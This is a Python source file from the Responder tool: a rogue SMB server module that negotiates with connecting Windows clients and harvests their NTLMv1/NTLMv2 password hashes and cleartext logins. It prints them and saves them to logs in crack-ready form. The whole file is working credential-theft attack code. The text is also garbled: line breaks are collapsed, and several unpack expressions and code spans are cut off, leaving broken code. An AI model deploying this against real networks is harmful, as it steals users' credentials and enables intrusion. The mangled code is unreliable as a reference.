#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct import settings from random import randrange from packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData from SocketServer import BaseRequestHandler from utils import * # Detect if SMB auth was Anonymous def Is_Anonymous(data): SecBlobLen = struct.unpack(' 260: LMhashLen = struct.unpack(' 60: SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() DomainLen = struct.unpack(' 25: FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex') LmHash = FullHash[:32].upper() NtHash = FullHash[32:].upper() print text("[SMB] NTLMv2 Address : %s" % client) print text("[SMB] NTLMv2 Username : %s\\%s" % (Domain, Username)) print text("[SMB] NTLMv2 Hash : %s" % NtHash) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash) WriteData(settings.Config.SMBNTLMv2Log % client, WriteHash, Username+"::"+Domain) if NthashLen == 24: NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() LmHash = data[65:65+LMhashLen].encode('hex').upper() print text("[SMB] NTLMv1 Address : %s" % client) print text("[SMB] NTLMv1 Username : %s\\%s" % (Domain, Username)) print text("[SMB] NTLMv1 Hash : %s" % NtHash) WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal) WriteData(settings.Config.SMBNTLMv1Log % client, WriteHash, Username+"::"+Domain) def IsNT4ClearTxt(data, client): HeadLen = 36 if data[14:16] == "\x03\x80": SmbData = data[HeadLen+14:] WordCount = data[HeadLen] ChainedCmdOffset = data[HeadLen+1] if ChainedCmdOffset == "\x75": PassLen = struct.unpack(' 2: Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) # SMB Server class, NTLMSSP class SMB1(BaseRequestHandler): def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(1) if len(data) < 1: break ##session request 139 if data[0] == "\x81": Buffer = "\x82\x00\x00\x00" self.request.send(Buffer) data = self.request.recv(1024) ##Negotiate proto answer. if data[8:10] == "\x72\x00": #Customize SMB answer. Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) ##Session Setup AndX Request if data[8:10] == "\x73\x00": IsNT4ClearTxt(data, self.client_address[0]) Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge) Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(4096) if data[8:10] == "\x73\x00": if Is_Anonymous(data): Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) else: ParseSMBHash(data,self.client_address[0]) Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = SMBSession2Accept() Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) ##Tree Connect IPC Answer if data[8:10] == "\x75\x00": ParseShare(data) Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) Body = SMBTreeData() Body.calculate() Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) ##Tree Disconnect. if data[8:10] == "\x71\x00": Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) ##NT_CREATE Access Denied. if data[8:10] == "\xa2\x00": Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) ##Trans2 Access Denied. if data[8:10] == "\x25\x00": Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) ##LogOff. if data[8:10] == "\x74\x00": Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x02\xff\x00\x27\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) except socket.timeout: pass # SMB Server class, old version class SMB1LM(BaseRequestHandler): def handle(self): try: self.request.settimeout(0.5) data = self.request.recv(1024) ##session request 139 if data[0] == "\x81": Buffer = "\x82\x00\x00\x00" self.request.send(Buffer) data = self.request.recv(1024) ##Negotiate proto answer. if data[8:10] == "\x72\x00": head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge) Body.calculate() Packet = str(head)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) ##Session Setup AndX Request if data[8:10] == "\x73\x00": if Is_LMNT_Anonymous(data): head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Packet = str(head)+str(SMBSessEmpty()) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) else: ParseLMNTHash(data,self.client_address[0]) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Packet = str(head)+str(SMBSessEmpty()) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) except Exception: self.request.close() pass